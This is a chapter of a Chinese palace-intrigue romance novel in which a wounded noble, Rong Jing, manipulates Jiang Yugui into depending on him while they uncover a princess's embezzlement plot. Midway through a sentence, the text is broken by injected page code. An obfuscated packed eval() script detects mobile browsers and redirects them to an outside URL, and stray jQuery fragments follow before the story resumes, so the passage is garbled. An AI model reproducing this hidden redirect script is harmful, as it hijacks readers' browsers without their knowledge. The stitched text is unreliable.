78. 第 78 章

作品:《被阴湿世子强取豪夺后

    一位金枝玉叶的嫡出公主,竟为兄长前程落得如此结局......而陛下对太子的愧疚,无疑让睿王一派如鲠在喉,他们需要更强大的力量,才能撼动东宫。


    电光火石间,之前所有零碎的信息在她脑中轰然贯通!


    永嘉公主利用职权贪污巨额官银,款项流入睿王和镇北将军的军中,睿王与太子是竞争对手,陛下因永华公主之死对太子心存愧疚,地位稳固,镇北将军府因此行刺负责查案的容璟......


    她猛的抬头,眼中充满了难以置信的惊骇,声音因激动而微颤:“所以......永嘉公主她贪污如此巨款,是为了帮睿王殿下......养兵自重?他们是想......是想......”


    最后那个带着大逆不道意味的结论,姜于归终究没敢说出口,但那双清亮的眸子里已写满了答案——谋反!


    或者,至少是拥兵自重,觊觎大位!


    容璟看着她瞬间明了的眼神,嘴角那抹冰冷而了然的弧度加深了。他没有承认,也没有否认,但他的沉默,以及眼中那片深不见底的幽暗,仿佛已经在无声的确认。


    他不需要姜于归喊出那个词,他只需要她知道,她将要面对的,是何等滔天的罪行与危险,而她所能依附的,唯有他容璟。


    他将最后一块拼图,稳稳的放在了姜于归的面前,让她自己看清了全貌。


    姜于归沉默下去,脸色苍白如纸,但大脑却在飞速运转,将前后所有线索严丝合缝的拼接起来。


    原来,从林晏查案开始,他们就已经被卷入了这场储位之争的漩涡中心,而这漩涡,足以将任何人碾碎。


    她之前的种种遭遇,永嘉的敌视,容璟的卷入......一切都有了合理的,却也更令人绝望的解释。


    她下意识的攥紧了手中的纱布,指尖冰凉,一种巨大的无力感和恐惧包裹住了她。


    在这等涉及江山社稷的滔天风波面前,她个人的爱恨情仇,显得如此渺小而又可笑。


    她几乎是本能地,带着一丝连自己都未察觉的依赖,低声追问:“那......接下来怎么办?”


    容璟敏锐的捕捉到了姜于归语气中的这丝变化,他心中那点愉悦又扩大了几分。


    他喜欢姜于归这种不得不依靠他的感觉。


    “怎么办?”


    他轻笑着重复了一遍,缓缓睁开眼,看向近在咫尺的姜于归,因为她包扎的姿势,两人靠得极近,他几乎能数清她微微颤动的睫毛。


    目光落在姜于归因为紧张而抿紧的唇瓣上,带着一丝戏谑和某种深意:“自然是......接着查。有我在,你怕什么?”


    这话语带着强大的自信,也是一种无形的捆绑。


    姜于归没有反驳,她垂下眼,继续手中的动作,将纱布最后打结固定,她的心情复杂难言。


    她对容璟确实产生了一丝感激,他救了林晏,惹来杀身之祸,而他所处的危险境的要让姜于归意识到,自己似乎真的别无选择,只能依附于他。


    这种认知,让她照顾他的动作,在不自觉间,又轻柔了几分。那是一种混合着感激,恻隐,无奈和认命的复杂情绪。


    容璟清晰的感受到了这种变化,他心中愉悦更甚,甚至暂时压过了伤口的疼痛和对林晏的嫉妒。


    他忽然开口,语气带着一丝慵懒的调戏:“手法尚可,看来,以后本世子这伤患的差事,可以放心交给你了。”


    姜于归动作一顿,脸上飞起一抹不易察觉的红晕,不知是羞是恼。她迅速收拾好药品和布巾,退开两步,拉开距离,恢复了平日里的冷淡神色:“世子伤势不轻,还需好好休息。”


    虽然她还是冷着脸,但那瞬间的迟疑和退避的姿态,少了以往那种全然的冷漠和尖锐的抗拒,容璟看在眼里,心中了然。


    他知道,坚冰并非一日可融,但缝隙已经出现。


    就在这时,姜于归的目光无意间扫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053054|191826||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过容璟换下来的那件染血的中衣。


    在左侧腹部对应伤口稍上方的位置,有一小块血迹的颜色和浸润状态,似乎与周围有些微不同,那块血迹边缘更规整一点,像是之前有什么扁平的东西覆盖在那里,吸收了血液,然后又被人拿走,留下了些许痕迹。


    是衣服的褶皱吗?还是......?


    姜于归心中闪过一丝疑惑,但此刻心绪纷乱,容璟的目光又一直停留在她身上,让她无暇细想,很快将这微不足道的细节抛诸脑后,只当是自己在紧张下的错觉。


    姜于归找了个借口,转身走向桌边,试图平复混乱的心绪:“我去给世子倒杯水。”


    容璟看着姜于归略显仓促的背影,没有阻止。


    他靠在榻上,腹部的伤口依旧作痛,但心情却奇异的好转。


    他开始向她透露信息的决定,似乎是正确的,让姜于归知道部分真相,让她感受到威胁,让她看到他的付出和保护,让她在复杂的情感中挣扎......


    这一切,都在将她的命运更深的与他捆绑。


    容璟知道前路危险,睿王和镇北将军绝不会善罢甘休,但此刻,看着在房间里为他忙碌的姜于归,感受着她那细微却真实的情感变化,容璟觉得,这场博弈,他依然掌控着主动权。


    几日后,皇帝翻阅着北境军饷案的卷宗,眉头紧锁,带伤的容璟垂手立于下首,姿态恭敬。


    容璟声音温润,如春风拂面:“陛下,北境贪墨一案,虽证据指向几名边将,但臣总觉得,这巨额银两流向,似乎与内府司近年账目有些许微妙关联。”


    皇帝抬眼,精明的目光扫过他:“内府司?那是永嘉在打理。”


    说罢,皇帝顿了顿,脸上适时露出一丝作为父亲的无奈与宽容:“永嘉这孩子,年纪轻轻就守了寡,带着个女儿也不容易,朕这个做父亲的,平日里对她难免多几分怜惜,纵容了些。”


    容璟立刻听出了皇帝的言外之意。